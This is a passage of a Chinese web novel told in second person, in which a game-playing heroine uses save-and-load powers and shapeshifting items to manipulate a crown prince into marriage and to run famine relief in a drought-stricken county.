“师父不明白年轻人的事。” “我有什么不明白——” 他将冲过来的赵晞一脚踹飞,回身肘击你的背, 被你躲开。 “老头子还没老彻底呢, 小姑娘还是要尊敬长辈!” 你琢磨自己该受些伤,下一个拳头袭来时你没有躲,关闭了痛觉开关, 让拳头擦在你的脸上。 在碰到你时,宁师父便及时收力。他神情愠怒:“什么意思!” 你道:“差不多了。师父可以带着你的人离开。今日这桩人情,徒儿欠下,之后若想让徒儿陪练,随时奉陪。” 宁师父哼了声,“最好是!你回去以后可跟你爹娘说清楚,这伤是你自己要受的,老头子我可不受这冤枉!” “师父放心。” 有了你这句准话,宁师父高声吆喝:“弟兄们,回去了!” “是!” 他们很快消失在无人的街道上,早在赵晞与他们动手时,街上的普通百姓就都回家避难了。 你走到赵晞身边,他趴在地上,两手握拳,脊背在呼吸下一起一伏。 “没事吧?” “……呜。” 他用后脑勺面向你,手擦了擦脸,似乎被宁师父揍哭了。 高高在上、生下来就是这般尊贵身份的人,何时受过委屈。 “能站起来吗?” “……为什么要帮我?” 你只是搀扶他,并没有回应他的问题。 “我问你为什么要帮我?你不是讨厌我要死,嫌弃我丑吗?我是纠缠你的坏蛋,就该让他们把我揍死才好!” 他的面具都被打歪了,你不动声色帮他推了推,挪动的瞬间有荼蘼花的清香涌出来。 这面具是什么做的? “你也被打了……你该走啊,就算你武功高强,也没必要为不相熟的人拼命,如果不是他们好心放过我,今天你和我就都要死在这了!” 你抱住他,用了些力气,避开他的伤口。 “还好你没事。” 赵晞浑身僵住,像木头一样。 你在、你在抱他!每次见面都一副讨厌他,恨不得他立刻消失在眼前的女孩在抱他! 为什么!为什么为什么为什么! “你是惹到什么人了?” “……不知道。”他声音软软的,只觉得伤口一瞬间都不痛,胸口剧烈跳动,和你挨在一起的地方触感绵软,他彻底失去力气。 你用哭了的语气,哽咽:“我真的好害怕,如果你死了,我……” “其实我一直喜欢你,从我小时候你救下我开始,我就喜欢你了。” “之后每次遇见,你都在劫富济贫,惩恶扬善,就像话本里的侠客一样。” 用上了。 “我就越来越喜欢你,一直表现得那么讨厌你,并非我的真心,我也不知为何,一见到你,就想装出讨厌你的样子。” “如果你今天被那些坏人害死了,我不知道……我不知道该怎么办,我好不容易喜欢上一个人……” 赵晞震惊无比。 原来是这样的吗? 他能理解你的想法,他有时候也会这样,喜欢什么装作不喜欢,好像这样就会更有面子。 “你……” 他抬手想要拥抱你,手心落在你腰上之前,他顿住。 喜欢他的人一向很多,表白心迹到他面前的更是数不胜数。她们为他的容貌,地位献出自己的钟情。 他不认为自己需要回应这份钟情,那根本不是真正的喜欢。 真正的喜欢是不论他是不是太子,是不是长成如今这个容貌,都始终如一地喜欢他,像话本里那样。 像……她这样。 认识沈景蕊之后的几年开始,赵晞就在矛盾了。 他不愿承认自己喜欢上了她。 她和其他女人一样庸俗,只看人的外表,对他冷淡,对她那个清秀文弱的弟弟就温柔以待。 每次看见,他都气愤很久,决定再不理她。但下次见面,他还是想要她认出自己,将目光放在他身上,哪怕只有短暂须臾。 她和他一样,喜欢用假皮在外行走,惩治坏人,为弱小主持公道。 她很有胆识,八岁就敢当街用弓箭杀贼。 她对人温柔,又很坏,有时候会故意惹哭妹妹。 她是林彧的徒弟,他被林彧教琴时总能听到她的聪慧与进步。 她和他还有婚约,她是天下万千女孩子里对他特别的一个。 他喜欢她一点都不过分。 可她却不喜欢他。他不确定自己用本来面貌见她,她会有什么反应,但无论什么反应,之后的喜欢都是不纯的,是掺杂了其他东西的。 他不要那样的爱情。 然而今天发生了这样的事,他的所有顾虑都被推翻了。 原来他喜欢的人也在用心喜欢他。 所以他们才总是能在街上碰见,所以她才只在看到他时特别厌恶,看到其他丑人时面色如常。 他对她也是特别的。 那天最后是你捂着脸跑走了。 不能被他看到你没有眼泪的样子。 到拐角处放下手时,正好有个小孩子坐在家门口吃糖。她目睹了你变脸的全过程,指着你笑:“姐姐装哭,要打屁股。” 你对她笑笑,回到家中。 几日没有出门,等待吹的这口气变成飓风。 之所以要费这个周折,全是因为你最开始对太子的厌恶表现得太明显。 过去但凡收敛些,都可以顺其自然地相处,而不是为了最后恋爱积分牵强地圆剧情。 卫棠端了晾干的衣裳进来,他将其中一间雪白的纱衣拎起给你瞧,洗得清透又没揉损,需要些门道。 你夸他:“好能干呀。” 卫棠笑笑,点自己的嘴唇。 你朝他招手,他便走到你椅子前跪下,仰头攀着你的肩膀接吻。 他的衣带系得很松,稍微一勾上身就露出光滑细嫩的皮肤。 卫棠笑盈盈埋在你的裙下,裙布便撑出他的轮廓,小幅度地颤动。 也不嫌累,每天辛辛苦苦做仆人工作,还有力气折腾这种事。 吃得尽兴,他美滋滋离开了,出门时吓了一跳,有些愤怒地迈回房来,勾着你的手出门指着院中的不速之客。 你出门一看,竟然是戴了丑面具的赵晞。他穿着深蓝色的衣袍,坐在檐下的石台上面无表情。 听到你的脚步声,他转过头来,看到你和卫棠牵在一起的手。 他冷笑一声。 “沈景蕊,你就是这么喜欢我的?” 他全都听见了。 情况不妙。你读档回到昨夜,是为了不时之需的每日例行存档。 你又把这天重新过了一遍,将到下午时,卫棠来展示他的劳动成果要赏赐。你只夸了他,在他想要亲吻时摇头,他便失落落地出去。 你拿本画册出来看,翻过扉页的功夫,窗户被人轻轻敲了敲。 你装作不知来人是谁,叫了几个丫鬟的名字,那人都不应答。 于是你走过去开窗,对上了戴丑面具的赵晞。他有些青涩地注视你,和之前相比感情流露得坦率些。 他说:“我没见到你。” 你道:“现在不是见到了?” 他故作冷淡,但眼神的柔软让这种冷淡显得像撒娇一样:“你说喜欢我是真的吗?” “不是,是假的。” “……是真的!” “那你问我什么?” “我,你都不了解我,都没跟我怎么说过话,就喜欢我吗?” “我了解你。” “我不信。” 存档。 “就比如,我知道你喜欢蓝色。” 赵晞认真道:“你就是不了解我,我根本就没有喜欢的颜色。我穿什么都好看,所以没考虑过这种事。” 你:“……” “你还说喜欢我。要是之后相处起来,你发现我不是你喜欢的样子该怎么办?” “你在听我说话吗?” 你打开读档页面,回到废档中。 没有顾忌这个时间线的人物关系,你直接用道具变成麻雀,去东宫找人。 落地后,你推门进去,没在寝宫见到赵晞的身影。变作宫女的模样询问,伺候的宫人说殿下去了马厩看马。 “马厩在哪边?” “那边……不对,你是什么人?” 你迅速逃往死胡同,然后用道具化形飞走。 半空中在马场里看到赵晞和几位世家公子的身影,你落到草丛里变回自己的样子,大步走出去。 “殿下!” “……”赵晞恍若梦醒,循着你的声音望来。 “殿下,我有事问你。” 他身边的公子们都一脸打趣,催促着他赴约。 但赵晞始终不动,像是没听到一样盯马,看得出他与你绝交的决心。 你走向他,到他身边,他梗着脖子看都不看你。 于是你双手捧住他的脸,将他的头别过来正对你,在所有人惊讶的目光中,你亲了上去。 “殿下,我喜欢你,之前我说喜欢别人的话都是骗你的,做那种事也是因为我真心……” 赵晞手忙脚乱捂住你的嘴。 第107章 “你疯了!” 将你带到临时休憩的亭榭, 赵晞面色赤红,神情惊异中掺了愤怒。 “你到底想做什么,不要名声了?你知道他们要在背后怎么说你吗?” 你沉默片刻, 深呼吸, 酝酿情绪。 “如果我们的事被人知道, 殿下就能喜欢上我,那我可以亲自说给所有人听。” 你的声音平静坚决, 仿佛早就有此打算。 像承受不住洪水的倾压爆碎的闸口,他未曾想过的情绪被你迎面倒出。 “只要能得到殿下,我什么事都做得出来。” “就连那种让殿下会有感觉的香, 我也可以再点一遍, 大不了被殿下杀死。” 赵晞一动不动地望着你,眼神空白。 你的话与他的感情观念几乎南辕北辙, 但他的内心竟然没有多少排斥,反而使近些日子以来的憋闷烟消云散, 心脏灌了水般沉淀下坠。 他听到自己声音发哑地说:“你不是喜欢林彧,想嫁给他?你现在说喜欢我……” 你道:“我喜欢的人一直是殿下,林师父不过是幌子。林师父是殿下的太傅,又是殿下的舅舅, 如果嫁给他, 应该就能常常见到殿下……我是这样想的。” “我就是这样恶毒的人, 为达目的,杀人放火在所不惜。” “我利用了林彧, 殿下要处置我吗?” 赵晞什么话都说不出, 垂着眼,时不时眨动的睫毛宣告这一切不是游戏的卡顿。 他在艰难地接受你单方面诉说的现状。 在你心里,他算聪明, 有些事不能给他时间让他深想。 你当着他面拿出【暖情香】,但这次他握住你的手,没有让你点燃触发功效。 你抬眼:“殿下,处置我之前,再给我最后一个机会,让我一品芳泽吧。” 他闷道:“我之前说过娶你。” 你道:“那不是殿下为失身与我的妥协吗?我怎会当真。” 你打算强行点燃,但赵晞也加大了在你手上的力气。在这个没有刷过武力值的时间,你无法抵御正经习武过的赵晞。 他最终将暖情香夺走,扔到一边,黑润的眼珠看你,里面海浪般晃动着嘲弄。 “不是妥协。” “沈景蕊,你坏透了,我此前从未想过四海之内有你这般心计的女子。” “可即便我知道这些,也做不到恨你。” “我活该被你玩弄。” 他松了你的手腕。 你先是蹲到地上把暖情香捡起来,确认没有摔碎,收回背包里。 “那殿下就乖乖被我玩弄吧。” 你们坐到亭子里被树林挡住的一侧,起初他不愿在这种地方被你碰,但稍微用指尖刮刮他便妥协,将你拥在怀里亲吻,吞吃口舌与气息。 “殿下……喜欢什么颜色?” “蓝色。” “骗子。”你抓他披散在身后的长发,用了几分力,“你根本就没有喜欢的颜色。” 他吃痛:“我喜不喜欢,你知道什么?” “我就是知道。” “我喜欢蓝色。” 他拇指按你的唇瓣,接了几次吻,他的吻技进步飞快。 “你之前总是穿蓝裙子围在林彧身边……所以是为了我吗?” 你咬他的手,有惩罚的心,用了力气。 如果没有存档功能,他这一句话就耽误你的正事了。 他“嘶”了声吃痛,轻声让你停下,你脑子里过主档里的事,没怎么专心,便被他咬了耳垂。 “在想谁?” “我就不该提他。提了他,你就会想,是不是?” “过去的事究竟怎样,我不在意,你说什么便是什么,但之后你要是还跟他牵扯不清,我就贬了他的官职让他回家种地!” “……” 所以他还是没有尽信你的说辞。只是挑自己喜欢听的当做事实,自我蒙蔽。 存档。 “殿下,你有什么喜好是别人不知道的?” “问这个干什么?” “我打算改过自新,想更了解你,好好地喜欢你。” “……” 原来你刚刚在想这个。 他道歉般把在你耳垂上留下的咬痕舔舐几下。 你继续道:“告诉我,就当我们之间的秘密了。” 他叹了口气。 “我……多年前拜过一个师父。他有易容之术,做的面具逼真至极,我无事便会换身打扮去宫外查访。” “除了这个?” “我只有这个秘密。” “我想知道的是你喜欢吃什么,穿什么,住什么样的床。” 他埋在你颈侧:“好奇这些做什么,那些都与你无关,你只要记住我的鼻子长在哪,眼睛长在哪,记住你说喜欢我的话就够了。” “可我就是想知道。” “好吧。” …… 读档,回到主档。 在你与太子当街“坦诚心意”后,许久没有出门,太子找来了家里,你乘胜追击,想要用“了解他”来证明你深深喜欢着他。 “我就是很了解你。” “你喜欢喝阳羡茶,喜欢吃龙须酥,喜欢在走路时先迈左脚。” “你喜欢被小雨淋,喜欢走路时对小孩子做鬼脸把他们吓哭,喜欢躺在房檐上逃课。” “你想成为话本里的侠客,你想世上再没有恃强凌弱,想百姓各得其所。” “你……” 赵晞低头躲过窗的上框,吻你的脸颊。 “你是……怎么发现我的?” 没等你回答,他道:“其实我有件事瞒你。” 他将面具摘下去。 一层薄如蝉翼的皮,为了改变面部结构,有的地方填了骨骼似的东西。 这到底是用什么做的? “我长成这副样子,你……你还喜欢我吗?” “我不是有意骗你……” 面具摘下时刮碎了他额前的头发,碎发落在皮肤上显得十分清爽,有种扑面而来的青春气息。 他忐忑不安地用那双湿润的眼眸注视你:“我叫赵晞,是当今圣上的六子,暂住东宫,如果你没忘的话,小时候我们有婚约……” 你做出愠怒的模样。 “竟然是你!” 你将窗子用力合上,叫人:“月梧!家里进贼了,快把这人赶出去!” 赵晞忙道:“对不起!我在市井之间不便以真面目示人,我……我就是有意瞒你的,谁让你看到我的面具之后就那么嫌弃!人长什么样有那么重要吗?” “我不想跟你费口舌,请殿下离开,臣女是个以貌取人的肤浅女子,不配恋慕殿下,今日之前的种种是臣女胡言乱语,还请殿下不要计较。” “……别,别这样!我知道错了!我以为你不喜欢我,如果我知道你喜欢我我肯定告诉你我是谁啊!我们直接就成亲了!” “殿下还提成亲之事吗?不是已经把我们的婚约退了?你既不是他,我们之间便没什么好说的,就当作是陌路人吧。” “‘他’?你管戴了面具后的我叫‘他’?那是我,就是我,不是别人!” “请殿下离开,不要把事情闹得太难看。” 你将门也关上,关死。 “我已经十五岁了,等不到想等的人,总该给自己议亲,不能为了不值得的人耽误我的年华。” “你说什么?”赵晞焦急地敲门,“我真的知道错了,你原谅我吧!” 月梧带人赶了过来。 “来者何人!竟闯进沈家小姐的院子里撒野,你不要命了?” 赵晞回头看了一眼,露出巴掌大的脸上精雕细琢的五官。 月梧此前随在夫人身边见过他一次,还是他小时候,如今他长成少年人,容貌长开,更加昳丽。但仍稚气未脱,有几分小时候的样子。 “太……”月梧伸手拦身后的家丁,带头跪了下去,“奴婢拜见太子殿下!” 眼见着聚来这边的人越来越多,赵晞匆忙地跟你交代一句:“等我!” 他用轻功跳上房檐离开了。 太子来沈府做什么呢?来的还是她家小姐的闺房。 他这种行为暗示着什么?帝后对这桩婚约又有新的交代吗? 月梧心有余悸地将家丁四散,吩咐他们今天的事不许说出去。 她先进了屋子询问你的状况。 你当然十分平静,月梧问什么,你都戏剧性地答了。 你之前在街上暗恋一位侠士,近日跟对方表白,结果侠士脸上一直戴着面具,他今日来与你坦白,摘下去以后变作太子的模样。 你对此很生气,认为对方欺骗了你,打算跟他一刀两断。 月梧回了回神,道:“小姐还在气头上,先别下这种狠心,稍后去夫人院里详谈。此事牵连甚广,除了夫人,还要让老爷也知情。” 母亲与父亲对你和赵晞的事都不看好。 虽传达了他们的意见,但你的婚事还是以你为主,如果你喜欢,且跟太子两情相悦,宫里也下了赐婚诏书的话,那便成婚好了。 但如果宫里没有下诏书,你就算再多情,也不能做自贬身价的事,绝不能为了跟心上人在一起,甘愿做妾室。 你答应他们。 然而他们脸上没有浮现出轻松的神色。 不论结局是好是坏,有这一遭,沈家都要被圣上疑心为了太子妃的位置暗中做手脚。 平心而论,你的父母并不想和皇室做亲家。在前朝,无论立下如何政绩,都要被外戚的身份限制。在后宫,女儿身为皇后,要做好天下女子的表率,时刻不能松懈,还要管理那些庞杂的事务。等到日久天长,帝王的爱消失,落不下一句好。 目送你回房,母亲难得和父亲多说几句。 “早知有这事,年初就把景蕊和枕溪的婚事定下来,便也不必生出这样的波折。我都以为那纸婚约就此算了。” “我也这样想。哎,现在说这些还有什么用,等等看宫中的态度吧。” 隔天你出街去玩,打算偶遇赵晞。 但你用存档功能找遍整个汴京城的市街,都没能找到他的影子。 点开他的【人物档案】,你发现他现在是被关禁闭的状态。 他因婚约和帝后大吵一架。 第108章 目前婚事的阻碍主要有三: 第一, 皇后之前明确问过太子的意思,他无比肯定地说自己不喜欢和沈府小姐的婚事,要母后将来找机会推掉。 在婚约悄然解除的今日, 他旧事重提, 要父母再为他提一次亲, 出尔反尔,把皇家的颜面置于何地? 第二, 在皇帝与沈父之间,最开始沈父的官职全靠皇帝的恩赏,皇帝想要一个完全依附于他的心腹, 于是用太子妃的位置牵绊住沈家, 使其忠诚。 但时间一久,皇帝发现此人并不可控, 表面上看听话老实,实则另有心机。他对沈父忌惮, 但手里又没有其他可用之人,只好暂且用着,一点点找机会把他的权势抽走,像林彧一样留有空职, 在太子即位之前解决这个隐患。 但太子却突然想要沈大人当岳丈。 引狼入室的傻小子。 皇帝的计划被打乱, 对百年以后江山易主隐隐担心。 第三, 太子如此昏头地钟情于一个女人不是什么好事。 你很与众不同,幼年便拜了三教九流的人为师, 拥有世上顶尖的才华, 不论以后嫁给什么人,史官都会将你的事迹记录在册,流传到后世。 皇帝与皇后一致认为太子不是有定性的孩子, 动情之后很容易被他人左右心意。若是你能比肩太祖元后,督促太子勤于政事还好,一旦你心怀不轨,那江山就完蛋了。 “你这些日子给我想清楚!别再胡言乱语惹你父皇生气,不然怕是你这太子之位都不保!” “那便废了我,放我出宫!我本也不想做这个太子!” “孽障!给我住嘴!” “娘娘!您又头疼了?” “……看好太子,从今天开始,到他认错时一步都不许出这个门,不然我拿你们是问!” “是。” 赵晞用力拍门,但门在外面上了锁,无法推开,再怎么用力也只听见锁链声。 “母后!放我出去!” “放我出去!我非要和她成亲不可!” “放我出去!有人吗?来人!” “本殿下的话都不听吗?” 无人应答。 整个东宫弥漫着因愤怒而浓郁的荼蘼花香。 太子出生便身怀异香,越长大越多人惊艳他的美貌。 宫中人人议论,认为太子是花仙转世,皇帝也因完美无瑕的外貌愈发疼爱嫡幼子,在他周岁时便下了册封诏书,将赵晞定为储君。 人被舆论捧起,同样可以被舆论摔回地上,再也无法翻身。 太子被关禁闭的十日后,宫中有传言说花妖开始发力,先是让太子在宫中作祟,克制帝后,过了一段时间便要危及天下。 废太子曾是皇后母子的气话,却真的在前朝被提起,且有一众臣子下跪,要求铲清宫中妖孽,将赵晞送去寺庙出家。 皇帝几乎被气笑了。 请废太子便罢了,他们这些人还要把他的儿子送去断尘缘,是想逼死皇后吗? “陛下不可顾念私情,还是要为天下社稷考虑!沧州才发了蝗灾,有不少百姓都饿死了!” 林彧怒道:“百姓饿死和太子有何关联,为何周大人不弹劾沧州知州,反而怪起了太子?” “林大人!太子乃一国储君,是将来治国的天子!你敢说百姓遭灾饿死与太子没关系?这话传出去,怕是要让天下百姓寒心!身为臣子,任职朝廷不该自私自利,而是要为天下人考虑!若太子继续为太子,四境之内天灾人祸,国将不国!” “好啊!周大人下知民情,上遵天意!乃朝廷百官所不及!既然这样,周妃膝下皇子八字亦与天下相克,干脆和太子一起送去当和尚如何?兄弟还能做个照应!” “怎就牵连到了襁褓中的九皇子?林大人,还请积些口德!哪怕你今日在这大庆殿中杀了我,也不会改变我的想法!” “一条贱命,谁在意你死活?” “你!”周大人跪地,朝皇帝磕头,“陛下,林彧仗势欺人,辱骂朝廷命官,按照我朝律法,应当处以仗刑!” 场面过于混乱,皇帝皱眉,视线落到低头出神的沈父身上。 要论起来,太子有此一劫与他脱不了干系。 “沈修宁,你怎么看?” 沈父拿不准皇帝的心思,究竟是想让他说太子的好话,还是坏话,是让他帮林彧吵嘴,还是站在中立的角度平息两边的怒火。 如果给他些时间,他下朝回家悟上半天,便能理解皇帝的深意。 使他当堂考虑,还是在这种关头,简直又像进了一趟殿试。 皇帝和百官正等着他发话。 情况紧急,他却无法静神去想。无论如何他今日都要得罪人—— 他眼前浮现了女儿景蕊的样子。 她说:“我喜欢太子殿下,父亲能否为我向陛下说情?” 他的女儿坦荡说爱。 沈父这些年忙于政务,因与夫人有心结,不曾善待她们母子。 如今算是功成名就,她们是他最对不起的人。 “陛下,”他终是做了抉择,“太子深陷妖孽传言,信则有不信则无,为天下黎民百姓考虑,还是要当一回事的。” 林彧眼神一转,恶狠狠盯他。他一直都知道沈父道貌岸然,不是好人,却没想过他当真背信弃义。 他有今天是谁提拔的他?是林家,是太子一脉的势力,他却—— 沈父道:“臣恰懂掐算之术,太子命格虚浮,有怪石之相,除了水命,便只有寺庙等地能压得住。” 见形势有利于他,周大人笑道:“沈大人博学多才,竟然连《易》都吃得这般透。” 沈父朝他行礼:“不敢,略懂一二。” “太子殿下若去了寺庙出家,宫中命盘合适的只有九皇子平衡天下之势。” 周大人行礼掩笑,装作一副惶恐的模样:“沈大人,此事不敢断言,还是要交给陛下定夺。” 沈父点点头,“是这样。” 他跪到地上:“陛下,臣有破此异象之法。水命之人世上寻常,但与太子有益的只有无根之水。实在凑巧,我家大女儿便是这样的命格,若能嫁与太子殿下,或可解除这场灾祸。” “…………” 殿上所有人都陷入沉默。 说了如此长篇大论,原是为了这个。 两边打成这样,他还能记得给女儿求婚。 好厚的脸皮。 太子被关禁闭的原因,除了皇帝朝中无人知晓。沈父误打误撞,找到了关键。 皇帝怀疑闹事的这些官员是沈父幕后操作,只为让他松口成全他的国丈梦。 但沈父诡计多端的同时,还有洁身自好,谨慎本分的品格,不可能把自己的把柄交给同僚。这也是皇帝放心用他的地方。 所以,婚事的说辞是他保太子的急智。 “沈大人!你的意思是只要娶你的女儿,太子便不必废了,天下的灾祸都能随之消失吗?” “周大人不是才夸过我懂《易》的本事?卦象便是这么说的。” 他声音凉了些:“陛下允我们当庭互斥,并非是让你我行僭越之举。太子之事,说一次是忠君爱国,第二次便是周大人另有图谋了,难不成林大人刚刚说的才是周大人的心里话?” “……” 说完,沈父面朝皇帝磕头。 “臣只为陛下排忧解难,并无高攀天家之意。只要陛下再找出一位卦象为无根之水的适龄女子许给殿下为妻,便能与他的怪石之相相克。太子妃并非一定是小女。” 一波三折,层层递进,他终于把场子圆到关键地方。 皇帝看他顺眼很多,想起赵晞那副不娶沈家小姐就不活了的死样子,觉得把儿子交给他带也不错。 “不必,你也说无根之水难得。太子不小了,就定下与你女儿的婚事,早朝后交由礼官陆奇办理。” “陆奇领命。” “臣沈修宁,代女沈景蕊,叩谢天恩。” 早朝的矛盾以意料之外的处理方式散去。 大庆殿上只剩洒扫的宫女、内侍,还有迟迟没回过神的林彧。 一直以来他所歉疚的事就这样被摆平,太子与景蕊明面上过了婚书,沈父做到了他无法争取也做不到的事。 不知为何,他没感受到轻松,反而有一种挥之不去的憋闷,好像他很抗拒这门亲事。这不一直是他想看到的局面吗? 林彧将原因归到狗叫的那些人身上。 还没人敢面对面那么跟他说话,他再被皇帝冷落,也是皇后的亲弟。 之后他会把这笔帐算回来。 沈父回家后带给你婚约的惊喜。 你表演喜悦,人离开后,恢复自然表情。 都在你的意料之中。 今日朝堂上发生的一切是你一手促成。 周大人之所以敢有改立太子的心愿,是因为你用道具变身劝了他,动之以利益,晓之以利益,给他们祖坟冒青烟的错觉。 同样的,父亲这边,你在他常用的书桌上摆了命格相关的书。 恶毒女配办坏事100%成功。 婚约定下后,宫中的人来宣读圣旨,送下聘礼。月梧在你身边核对礼单,一样样念过去,到最后,你听到了【金雀钗】。 月梧感慨道:“不知小姐记不记得,您小时候曾在夫人身边问过这钗的下落。” “如今几番周折,它却到了小姐手中,或许从前种种都是命中注定。” 你在她手里接过金雀钗,镂空的雀形,挂着一颗血般的红宝石。 婚期在第二年三月,有花有雨。 从婚约定下起,你就着手处理沧州蝗灾。 你亲自飞过去照看,无法弥补百姓的损失,就调查里当地恶贯满盈的地头蛇,把他家里的粮食拿出来赈灾,连续搞了几家后,流民得到安抚。 事情传到汴京变得离奇。 灾地突然有了一些发善心的人出现。 沈父有意道:“太子成婚竟然有这样的福报。” 朝中风向隐隐改变。 第109章 “小姐!不好了!郑家人在施粥的地方寻衅滋事, 已经伤了好些百姓!” 你在锅前茫茫的白雾中转头,脸上被蒸汽蒸得微微发红。 “找人去帮忙了吗?” “找了,小朱他们在帮架, 但他们说还是报给您, 让您拿主意呢。” 你默了默。 郑家。 是你来到沧州悯县后, 打劫的第一家恶人。此姓氏仰仗与知州府有亲,在县内嚣张跋扈, 无恶不作。路过的人走得慢些,就要被他们家人打到半死。曾用工建园林害死了人,一文钱没赔不说, 反而讹诈瓦工家人, 说死人让郑家沾了晦气。还有很多,罄竹难书。 你用道具变成老妇的模样抢钱, 走时绕了城郊几圈,去隔壁县买米肉, 回到灾地发放给灾民。 郑家今日突然找事,或许是反应过来这般义举用的钱财来路不明,打算找事试探一番。 你捡起锅边的抹布擦了擦手,吩咐小孩看锅, 再闷一会儿就能拿出去放进粥桶里。小孩表示一定按照你的吩咐做好。 你快步出门, 看到了被手下护在身后的灾民。 是个男孩, 长一双大而明亮的眼睛,因为贫穷与灾难, 眼中满是惊惧与脆弱。 手下是最初被你救治的灾民, 他们获救后忠心耿耿跟在你身边,想要拯救和他们一样命苦的人。 “小姐!您怎么来了!别让他们伤到您!” 小朱平复方才与郑家人争吵的怒火,凑近解释状况:“郑家二公子无论如何也要让那个孩子偿命, 不然就卖身到他们家做奴隶。” “为何?” “方才领粥排队,排到了郑家门口……” 你笑了。 存档。 越过重重家丁护卫,你看向那位郑二公子。相貌平平,看着身强体壮,但嘴唇发紫,眼神充满恶意。 你走向郑家的家门。乌头门,门扇高大厚重。门口摆了两座三岁孩童般大小的石狮,典型的地方豪强。 家丁都在郑二公子面前围着,正门那边无人看守。 你伸手附上石狮的头,在围观之人或不解、或轻蔑的目光中,将石狮单手拎起,朝正门扔去。只听“轰”地一声,门碎了。 “…………” “……” “你想死吗!!!!” 你道:“不是故意的。” “来人,将她押入官府!我要报官!报官!” “……” 不占理。 读档,重来。 “为何郑公子对无辜孩童出手?” 郑二公子道:“孩童?呵呵,你这种富贵人家的小姐不懂,像他那么大,在普通人家要娶妻生子,当壮丁收税了,还孩童。我家府宅自有地契,一寸寸买下来的,岂容肮脏之人践踏?” 他不耐道:“你们家主事的人在哪,怎么还不出现?有这些闲钱给别人,真好奇背后是何许人也。” “郑公子想找人?我们这里只有寻常百姓,不会有郑公子想要找的贵人。” “什么贵人,老子找的是个贼,偷了我家……别废话!快把你们家主事的人交出来!” “我说了,我们这里只有普通百姓……” 郑二公子使了眼色,他身边人便抽刀出来指你。 小朱惊叫:“小心!!!” 你作躲闪状一路躲去了郑家门口,再借撕斗摔倒之势再次砸门。 郑二公子大怒:“狗东西!眼睛长哪去了!我家的门啊!” 与你缠斗的护卫一脸苦相:“不是我,主子,是她!” “放屁!她怎么可能拿得动石狮?敢抵赖?你今年别想要工钱了!” “主子!” “官兵来了!官兵来了!” “大人!就是这些人当街行凶!欺负妇孺!!” 领头的官吏有些无奈:“郑二公子,怎么又是您!这都什么时候了,你说你找他们麻烦干什么!” “我找麻烦?都十余日了,我家的钱到现在还不见踪影,你们县衙养了一堆无用的米虫,难道还不许我自己调查钱财的下落?” 官吏被他说得不悦,但有所顾忌,没表现出来,“二公子,这些人可都是快饿死的难民,哪来的力气偷您家的钱呢?再说,这丢钱的又不是只有您一家,哪能找得那么快。” “他们没力气偷,我只怕供他们这粥的人拿了不义之财,想叫来问话不见人,不是心虚是什么?” “公子啊!施粥乃是朝廷奖赏过的义举,有些话不该说,还是谨慎为好。” “我在我家门口,有什么说不得的?天高皇帝远,悯县我便是老大,你有意见,不如到州府问我舅父?” “……” “好狂妄的人,看来你舅父在暗中帮你做了不少恶事。” 一道清亮带着薄怒的声音在不远处响起。 你转头去看,戴了帷帽的蓝衣少年偏过头,隔了层白纱与你对视。 他在期待着你认出他。 你当然也认得出,他虽然蒙着脸,但身上的气味、身形、还有npc的半透明名牌都在告诉你他是谁。 “什么味道?” “好香,像是花……” “到底完事没有,我好饿,想吃粥。” 难民们窃窃私语。 你疑惑赵晞怎么找来这里了? 知州脸色如土:“外甥未曾读过书,是有些野蛮。” 郑二公子没想过能在州府之外的地方看到舅父,一时愣怔,见舅父神情不对,对待身旁遮脸的少年人姿态恭敬,渐渐感到自己今日惹了大祸。 “之后我要派人查你们的卷宗。” “这……” “你有意见?” “遵命,遵命。” 知州心想完了。怎么就这么倒霉,怎么就今年在他治下发了蝗灾,让大人物注意到这地方。 来年春天他便升职了,只差这几个月,如此太子来查卷宗,过去那些昧着良心的事被发现,不止贬职,他的官帽怕是要丢了。 “你们的二公子当街行霸,欺凌无辜百姓,应当砍头。” “殿……赵公子!不可,还是按律法处置,不然您回去以后也不好交代……” 赵晞迟迟不动,片刻,发出一声笑。 “威胁我,还想保他是吧?” “下官绝无此意!” “来日方长。” 他牵过你的手,吩咐官吏把乌烟瘴气的人都清走,站到粥桶前从盛粥的男子手中拿过木舀,给饥肠辘辘的难民们继续盛粥。 “谢谢……” 一碗粥填满,轮到下一个人,又是一声谢。 到了后面,轮到那位被郑二公子抓到撒气的男孩。他领到粥,朝你跪下磕头,“多谢小姐救命,求小姐收了我吧!” 熟悉的流程。跟其他的手下投靠你时一模一样。 赵晞却冷哼,从口袋里掏钱朝他扔:“小小年纪不学好,快找个地方安顿吧!” 男孩接了钱,仍不改变心意:“小姐,我明天还会来。明天我吃饱了就有力气帮您干活了!我有用的!” 赵晞捏紧了勺子的把手,听到你平静回应:“好啊。” 施粥结束。 你与赵晞回住的地方。 一路上他都没说话,与你隔着一人的距离。快到家门口时,他不知因为什么想通,粘过来牵手,嘟嘟囔囔:“跟我在一起,我不许你收别的男人。” 你打开了租宅的门锁,回应他:“放心,不会,只是收作工。” “你怎么来了?” “听你的丫鬟说你出门远行,我猜到你会来这边。” “为什么?” “因为我们总是想一样的事。” “不太一样。我是为了殿下来的,我不喜欢他们用流言伤害你。” “……” 你进了屋子点火炉,半天没见到太子的人影,出门望了眼,见他还在院中出神。 这么感动吗? 一开始你做这些的确是为了婚事稳定推进。 后来还在坚持,是因为你迷恋上了这种拯救别人、被人仰望的感觉。 有些人会因为你是你而忠诚于你,与身份地位无关。接着形成体系,这种人越来越多……就像当了皇帝一样。 原来是这种感觉?怪不得古往今来,为了那个位置总有人机关算尽。明明不争也有一辈子的荣华富贵。 做天底下最特别、最令人畏惧的人的感觉很不一样。 或者说那种随随便便能改变世界的能力,让你无法抗拒。 你想要试一下。 随手在县里的饭馆买了几盘菜回家,赵晞挑挑拣拣地吃,觉得不合口味。 你道:“殿下原来这么难养吗?” 他扒饭的筷子一顿,老实夹菜进嘴。把整碗饭都吃干净后,他开始打扫卫生,表现他分明好养得很。 第二天你照常出去施粥。手下们问你昨天那位戴着纱帽的大人是谁,是不是你夫君? 你点头,引起一片遗憾声。她们没想过你这么小的年纪便找好了夫君。 将粥熬好,小朱笑嘻嘻往粥桶里淘:“这粥本是天下最容易做的,不知为何,试了许多遍,还是小姐做的最好吃,别人都做不出小姐的味道。” 因为厨艺值。 你盘算着把他们带回汴京后,安排他们读书识字,为自己所用的事。 又过了一天,回到宅子里,迎面撞见不认识的人搬里面的木柜。 “小姐。” 对方跟你打招呼,你微笑回应,往家里走。 赵晞掐着腰指挥人布置宅院。 破旧的宅院在他手下重新焕发生机。 “景蕊,你看。” 他将你召去池边,指里面在凸出的石块前徘徊的红鲤。 